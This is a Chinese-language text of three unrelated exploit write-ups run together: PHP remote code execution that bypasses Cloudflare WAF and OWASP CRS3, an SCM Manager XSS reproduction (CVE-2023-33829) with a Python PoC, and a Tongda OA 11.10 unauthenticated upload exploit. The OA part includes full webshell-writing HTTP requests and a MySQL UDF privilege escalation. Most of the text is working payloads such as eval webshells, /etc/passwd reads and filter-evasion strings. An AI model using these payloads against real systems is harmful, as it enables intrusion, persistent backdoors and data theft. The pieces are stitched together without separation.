在测试绕过 WAF 执行远程代码之前,首先构造一个简单的、易受攻击的远程代码执行脚本,内容如图: 第 6 行是一个比较明显的命令执行代码,第 3 行尝试拦截 system、exec 或 passthru 等函数(PHP 中有许多其他函数可以执行系统命令,这三个是最常见的)。 这个脚本部署在 Cloudflare WAF 和 ModSecurity + OWASP CRS3 之后。对于第一个测试,尝试读取 passwd 的内容; /cfwaf.php?code=system("cat /etc/passwd"); 可以看到,被 CloudFlare 拦截了,我们可以尝试使用未初始化变量的方式绕过,比如: cat /etc$u/passwd Cloudflare WAF 已被绕过,但是由于脚本检查敏感函数,所以被脚本拦截,那么如何绕过脚本的函数检测呢?我们看看关于字符串的 PHP 文档: https://secure.php.net/manual/en/language.types.string.phpPHP 字符串转义序列: [0–7]{1,3} 八进制表示法的字符序列,它会自动溢出以适应一个字节(例如“\400”===“\000”) \x[0–9A-Fa-f]{1,2} 十六进制字符序列(例如“\x41”) \u{[0–9A-Fa-f]+} Unicode 代码点序列,将作为该代码点的 UTF-8 表示输出到字符串(在 PHP 7.0.0 中添加) 不是每个人都知道 PHP 表示字符串的语法,而“PHP 变量函数”则成为我们绕过过滤器和规则的瑞士军刀。 PHP变量函数 PHP 支持变量函数的概念。这意味着如果变量名后面附加了圆括号,PHP 将寻找与变量求值结果同名的函数,并尝试执行它。除其他事项外,这可用于实现回调、函数表等。 这意味着语法如 $var(args); 和 "sting"(args; 等于 func(args); 。如果我可以通过使用变量或字符串来调用函数,则意味着我可以使用转义序列而不是函数名。这里有一个例子: 第三种语法是十六进制符号的转义字符序列,PHP 将其转换为字符串“system”,然后使用参数“ls”转换为函数系统。让我们尝试使用易受攻击的脚本: 此技术不适用于所有 PHP 函数,变量函数不适用于 echo、print、unset()、isset()、empty()、include、require 。利用包装函数将这些构造中的任何一个用作变量函数。 改进用户输入检测 如果我从易受攻击脚本的用户输入中排除双引号和单引号等字符,会发生什么情况?即使不使用双引号也可以绕过它吗?让我们试试: 正如您在第三行看到的,现在脚本阻止在 $_GET[code] 查询字符串参数中使用“和”。我以前的有效负载现在应该被阻止: 幸运的是,在 PHP 中,我们并不总是需要引号来表示字符串。PHP 使您能够声明元素的类型,例如 $a = (string)foo; 在这种情况下,$a 包含字符串“foo”。此外,圆括号内没有特定类型声明的任何内容都被视为字符串: 在这种情况下,我们有两种方法可以绕过新过滤器:第一种是使用类似 (system)(ls) 的方法;但是我们不能在代码参数中使用“system”,所以我们可以像 (sy.(st).em)(ls); 一样连接字符串。第二种是使用 $GET 变量。如果我发送像 ?a=system&b=ls&code=$GETa 这样的请求;结果是:$GET[a] 将替换为字符串“system”,$GET[b] 将替换为字符串“ls”,我将能够绕过所有过滤器! 让我们尝试使用第一个有效负载 (sy.(st).em)(whoami); 和第二个有效载荷 ? ?a=system&b=cat+/etc&c=/passwd&code=$\_GET[a]($\_GET[b].$\_GET[c]); 在这种情况下,没有用,但您甚至可以在函数名称和参数内部插入注释(这可能有助于绕过阻止特定 PHP 函数名称的 WAF 规则集)。以下所有语法均有效: get_defined_functions 函数 此 PHP 函数返回一个多维数组,其中包含所有已定义函数的列表,包括内置(内部)函数和用户定义函数。内部函数可以通过 $arr[“internal”] 访问,用户定义的函数可以使用 $arr[“user”] 访问。例如: 这可能是另一种无需使用其名称即可访问系统功能的方法。如果我对“系统”进行 grep,我可以发现它的索引号并将其用作我的代码执行的字符串: 显然,这应该对我们的 Cloudflare WAF 和脚本过滤器有效: 字符数组 PHP 中的每个字符串都可以用作字符数组(几乎像 Python 那样),您可以使用语法 $string[2] 或 $string[-3] 引用单个字符串字符。这可能是另一种规避阻止 PHP 函数名称的规则的方法。例如,使用这个字符串 $a=”elmsty/ “; 我可以编写语法系统(“ls /tmp”); 如果幸运的话,您可以在脚本文件名中找到所需的所有字符。使用相同的技术,您可以使用类似的方法选择所需的所有字符 OWASP CRS3 有了 OWASP CRS3,一切都变得更难了。首先,使用之前看到的技术,我只能绕过第一个偏执级别,这太神奇了!因为 Paranoia Level 1 只是我们可以在 CRS3 中找到的规则的一小部分,所以这个级别旨在防止任何误报。对于 2 级偏执狂,由于规则 942430“受限 SQL 字符异常检测(args):超出特殊字符数”,所有事情都变得困难。我能做的只是执行一个不带参数的命令,如“ls”、“whoami”等。但我无法像使用 Cloudflare WAF 那样执行类似 system(“cat /etc/passwd”) 的命令:
SCM Manager XSS漏洞复现(CVE-2023-33829)
一、漏洞描述 漏洞简述 SCM-Manager 是一款开源的版本库管理软件,同时支持 subversion、mercurial、git 的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理 ,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和开发了其各种代码库,以便为各个公司提供专业的企业级支持。 该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。 漏洞影响范围 供应商:Cloudogu 产品:SCM Manager 确认受影响版本:SCM Manager 1.2 <= 1.60 修复版本:>1.60 最新版本为2.43.1 二、漏洞复现实战 环境搭建 docker镜像: https://bitbucket.org/sdorra/docker-scm-manager/src/master/利用shell脚本搭建 shell: #!/bin/bash mkdir /var/lib/scm chown 1000:1000 /var/lib/scm docker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager 漏洞复现 首先访问SCM Manager,需身份认证 Username : scmadmin Password: scmadmin repositories repository功能下Description字段该漏洞可利用 创建新repository,并payload进行利用 Git类型: Subversion类型: Users User功能下Display Name字段该漏洞可利用 创建新repository,并payload进行利用 可以看到新创建的账号中Display Name属性下显示异常,且XSS payload利用成功 Groups Group功能下Description字段该漏洞可利用 另外可以根据POC进行利用 POC: import requests import argparse import sys # Main menu parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit') parser.add_argument("-u", "--user", help="Admin user or user with write permissions") parser.add_argument("-p", "--password", help="password of the user") args = parser.parse_args() # Credentials user = sys.argv[2] password = sys.argv[4] # Global Variables main_url = "http://localhost:8080/scm" # Change URL if its necessary auth_url = main_url + "/api/rest/authentication/login.json" users = main_url + "/api/rest/users.json" groups = main_url + "/api/rest/groups.json" repos = main_url + "/api/rest/repositories.json" # Create a session session = requests.Session() # Credentials to send post_data={  'username': user, # change if you have any other user with write permissions  'password': password # change if you have any other user with write permissions } r = session.post(auth_url, data=post_data) if r.status_code == 200:  print("[+] Authentication successfully") else:  print("[-] Failed to authenticate")  sys.exit(1) new_user={  "name": "newUser",  "displayName": "<img src=x onerror=alert('XSS')>",  "mail": "",  "password": "",  "admin": False,  "active": True,  "type": "xml" } create_user = session.post(users, json=new_user) print("[+] User with XSS Payload created") new_group={  "name": "newGroup",  "description": "<img src=x onerror=alert('XSS')>",  "type": "xml" } create_group = session.post(groups, json=new_group) print("[+] Group with XSS Payload created") new_repo={  "name": "newRepo",  "type": "svn",  "contact": "",  "description": "<img src=x onerror=alert('XSS')>",  "public": False } create_repo = session.post(repos, json=new_repo) print("[+] Repository with XSS Payload created") 漏洞修复 建议更新至SCM Manager最新版本,目前为2.43.1 结束语 本文主要介绍了CVE-2023-33829 SCM Manager XSS漏洞复现过程,漏洞主要体现于攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。 本漏洞可参考之处为敏感功能避免重复调用非敏感功能代码,并做好过滤与校验,进行必要的安全测试。
某OA 11.10 未授权任意文件上传
漏洞简介 之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。 环境搭建 https://www.tongda2000.com/download/p2019.php下载地址 :https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe 查看版本信息 漏洞复现 利用方式一 http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage 利用方式二 无法直接写入带有变量的 php 文件 所以首先利用 无参 webshell <?php @eval(next(getallheaders())); GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1 Host: 192.168.222.128 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 上传成功后再利用第一次生成的恶意文件再生成文件。 GET /general/test.php HTTP/1.1 Host: 192.168.121.147:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);'); Content-Length: 28 Upgrade-Insecure-Requests: 1 但是无法直接直接命令,这是因为权限过低的原因 所以想要进一步的操作,就需要提权。 通过查看配置文件看到 mysql 数据库的密码。 利用蚁剑连接数据库。 查看 mysql 的版本。 SqlMap 中集成了对应的提权文件,不过需要先进行解密操作。 udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下 sqlmap-master\extra\cloak 对应的 dll 文件路径 sqlmap-master\data\udf\mysql\windows\64 执行解码操作 cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ 然后将解码好的文件上传到 mysql/lib/plugin/ 路径下 create function sys_eval returns string soname 'lib_mysqludf_sys.dll'; select sys_eval("whoami"); 漏洞分析 general\appbuilder\modules\portal\controllers\GatewayController.php#actionGetdata 首先判断是否存在参数 id 之后根据 module 的值依次执行 GetData与toUTF8方法。 general\appbuilder\modules\portal\models\PortalComponent.php#GetData 根据 id 查询,返回相对对应的数值 $activeTab 的值是从外部获取的。 根据不同的 $module 调用不同的get_data 方法 general\appbuilder\modules\portal\components\AppDesignComponents.php#data_analysis general\appbuilder\modules\appdesign\models\AppUtils.php#toUTF8 这里有一点类似于宽字节注入,利用类型的转换,使得传入的单引号转移后又被编码转换成汉字,最终使得单引号逃逸出来。最后实现命令执行。